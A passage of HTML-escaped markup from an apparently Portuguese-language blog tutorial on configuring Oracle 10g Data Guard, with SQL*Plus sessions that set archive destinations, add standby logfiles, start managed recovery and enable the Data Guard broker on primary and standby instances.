0);"&gt;log_archive_duplex_dest              string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_format                   string      %t_%s_%r.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_local_first              boolean     TRUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_max_processes            integer     2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_min_succeed_dest         integer     1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_start                    boolean     FALSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_trace                    integer     0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;remote_archive_enable                string      true&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;standby_archive_dest                 string      /backup/n1/arch&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; show parameter db_name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- ---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_name                              string      N1DG&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; show parameter db_unique_name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- ---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;db_unique_name                       string      n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; show parameter fal&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- ---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;fal_client                           string      N1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;fal_server                           string      N2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;No nó primário, setar o DEST_1 com o novo parâmetro &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14239/log_arch_dest_param.htm#SBYDB01116"&gt;VALID_FOR&lt;/a&gt; Dataguard na versão 10g juntamente com o db_unique_name.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; alter system set LOG_ARCHIVE_DEST_1='LOCATION=/backup/n1/arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2                        VALID_FOR=(ALL_LOGFILES,ALL_ROLES)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3                        DB_UNIQUE_NAME=n1'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4 /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Da mesma forma, porém desta vez vamos configurar o DEST_2, onde será entregue o archive para o standby. Nessa configuração, é importante para aplicação via archives, porém não obrigatório para nosso exemplo, porque faremos real-time apply, ou seja, poderíamos deixar de configurar o DEST_2 e criar somente os standby logfiles. Essa configuração é importante em emergências de rede, etc.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; alter system set LOG_ARCHIVE_DEST_2='SERVICE=n2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2                   VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3                   DB_UNIQUE_NAME=n2';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4 /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; show parameter LOG_ARCHIVE_MAX_PROCESSES&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- --------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_max_processes            integer     2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ echo $ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Passo 2: Configurar o standby (n2dg) - Não esquecer que a parte de rede foi previamente definida no artigo anterior.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:17:21 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup mount&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01078: failure in processing system parameters&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LRM-00109: could not open parameter file '/oracle/10g/dbs/initn2dg.ora'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Acho interessante deixar os problemas que tive durante a configuração. Por exemplo, o erro acima aconteceu porque eu esqueci de criar o spfile no artigo anterior. Então vamos levantar a instância com o pfile já usado anteriormente e a partir dele criar o spfile.&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;[oracle@anakin admin]$ cd n2dg/scripts/&lt;br /&gt;[oracle@anakin scripts]$ ll -tr&lt;br /&gt;total 8&lt;br /&gt;-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh&lt;br /&gt;-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora&lt;br /&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;br /&gt;&lt;br /&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:17:43 2007&lt;br /&gt;&lt;br /&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;br /&gt;&lt;br /&gt;Connected to an idle instance.&lt;br /&gt;&lt;br /&gt;idle&gt; startup mount pfile=./init.ora&lt;br /&gt;ORACLE instance started.&lt;br /&gt;&lt;br /&gt;Total System Global Area     608174080 bytes&lt;br /&gt;Fixed Size                     1263200 bytes&lt;br /&gt;Variable Size                167774624 bytes&lt;br /&gt;Database Buffers             432013312 bytes&lt;br /&gt;Redo Buffers                   7122944 bytes&lt;br /&gt;Database mounted.&lt;br /&gt;idle&gt; !pwd&lt;br /&gt;/oracle/admin/n2dg/scripts&lt;br /&gt;&lt;br /&gt;idle&gt; create spfile from pfile='/oracle/admin/n2dg/scripts/init.ora';&lt;br /&gt;&lt;br /&gt;File created.&lt;br /&gt;&lt;br /&gt;idle&gt; startup mount force&lt;br /&gt;ORACLE instance started.&lt;br /&gt;&lt;br /&gt;Total System Global Area     608174080 bytes&lt;br /&gt;Fixed Size                     1263200 bytes&lt;br /&gt;Variable Size                167774624 bytes&lt;br /&gt;Database Buffers             432013312 bytes&lt;br /&gt;Redo Buffers                   7122944 bytes&lt;br /&gt;Database mounted.&lt;br /&gt;idle&gt; show parameter db_name&lt;br /&gt;&lt;br /&gt;NAME                                 TYPE        VALUE&lt;br /&gt;------------------------------------ ----------- -------------------------&lt;br /&gt;db_name                              string      n1dg&lt;br /&gt;idle&gt; show parameter db_unique_name&lt;br /&gt;&lt;br /&gt;NAME                                 TYPE        VALUE&lt;br /&gt;------------------------------------ ----------- -------------------------&lt;br /&gt;db_unique_name                       string      n2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hora das modificações do standby&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;idle&gt; show parameter STANDBY_ARCHIVE_DEST&lt;br /&gt;&lt;br /&gt;NAME                                 TYPE        VALUE&lt;br /&gt;------------------------------------ ----------- -------------------------&lt;br /&gt;standby_archive_dest                 string      ?/dbs/arch&lt;br /&gt;idle&gt; alter system set STANDBY_ARCHIVE_DEST='/backup/n2/arch';&lt;br /&gt;&lt;br /&gt;System altered.&lt;br /&gt;&lt;br /&gt;idle&gt; alter system set log_archive_config='DG_CONFIG=(n1, n2)';&lt;br /&gt;&lt;br /&gt;System altered.&lt;br /&gt;&lt;br /&gt;idle&gt; alter system set LOG_ARCHIVE_DEST_1='LOCATION=/backup/n2/arch&lt;br /&gt;2                        VALID_FOR=(ALL_LOGFILES,ALL_ROLES)&lt;br /&gt;3                        DB_UNIQUE_NAME=n2'&lt;br /&gt;4 /&lt;br /&gt;&lt;br /&gt;System altered.&lt;br /&gt;&lt;br /&gt;idle&gt; alter system set LOG_ARCHIVE_DEST_2='SERVICE=n1&lt;br /&gt;2                        VALID_FOR=(ONLINE_LOGFILES,PRIMARY_ROLE)&lt;br /&gt;3                        DB_UNIQUE_NAME=n1'&lt;br /&gt;4 /&lt;br /&gt;&lt;br /&gt;System altered.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Server do standby é o nó principal (N1) e client é o (N2) o inverso do nó primário.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; alter system set fal_server=n1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; alter system set fal_client=n2;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- ---------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1             2      52428800             1 NO  CURRENT                 485605 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1             1      52428800             1 YES INACTIVE                456954 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1             0      52428800             1 YES UNUSED                       0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Os próximos passos são a chave para o Real-Time Apply, porque faremos a aplicação das modificações através dos standby lofiles. Há necessidade criar tanto no physical standby como no primário.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 4 ('/backup/n2/n2dg/srl01.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 5 ('/backup/n2/n2dg/srl02.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 6 ('/backup/n2/n2dg/srl03.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; ALTER DATABASE RECOVER MANAGED STANDBY DATABASE DISCONNECT;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- ---------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1             0      52428800             1 NO  CURRENT                 485605 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1             0      52428800             1 YES UNUSED                  456954 03-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1             0      52428800             1 YES UNUSED                       0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:28:15 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 4 ('/backup/n1/n1dg/srl01.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 5 ('/backup/n1/n1dg/srl02.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; ALTER DATABASE ADD STANDBY LOGFILE GROUP 6 ('/backup/n1/n1dg/srl03.log') SIZE 50M;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1             5      52428800             1 YES INACTIVE                528846 05/06/2007 00:00:55&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1             7      52428800             1 NO  CURRENT                 602414 12/06/2007 00:08:28&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1             6      52428800             1 YES INACTIVE                574349 09/06/2007 19:53:50&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system switch logfile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system switch logfile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1             8      52428800             1 NO  ACTIVE                  604660 12/06/2007 00:29:30&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1             7      52428800             1 NO  ACTIVE                  602414 12/06/2007 00:08:28&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1             9      52428800             1 NO  CURRENT                 604662 12/06/2007 00:29:32&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:29:55 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; select * from v$log;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1             1             0      52428800             1 NO  CURRENT                 485605 03/06/2007 23:23:05&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3             1             0      52428800             1 YES UNUSED                  456954 03/06/2007 23:10:55&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2             1             0      52428800             1 YES UNUSED                       0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Como notado acima, nada de aplicação de redos ainda. Agora entra a parte da configuração do Data Guard Broker através do parâmetro &lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14237/initparams060.htm#REFRN10047"&gt;DG_BROKER_START&lt;/a&gt;, não esquecer de mudar para TRUE em todos os nós que serão controlados pelo BROKER. (Obs: Depois que voce conhece o broker, nunca mais vai achar difícil fazer switchover, failover ou qualquer outra manutenção no seu dataguard).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:30:24 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; show parameter dg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- --------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;dg_broker_config_file1               string      /oracle/10g/dbs/dr1n1.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;dg_broker_config_file2               string      /oracle/10g/dbs/dr2n1.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;dg_broker_start                      boolean     FALSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; alter system set dg_broker_start=true;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:N1DG&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:30:48 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; alter system set dg_broker_start=true;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br 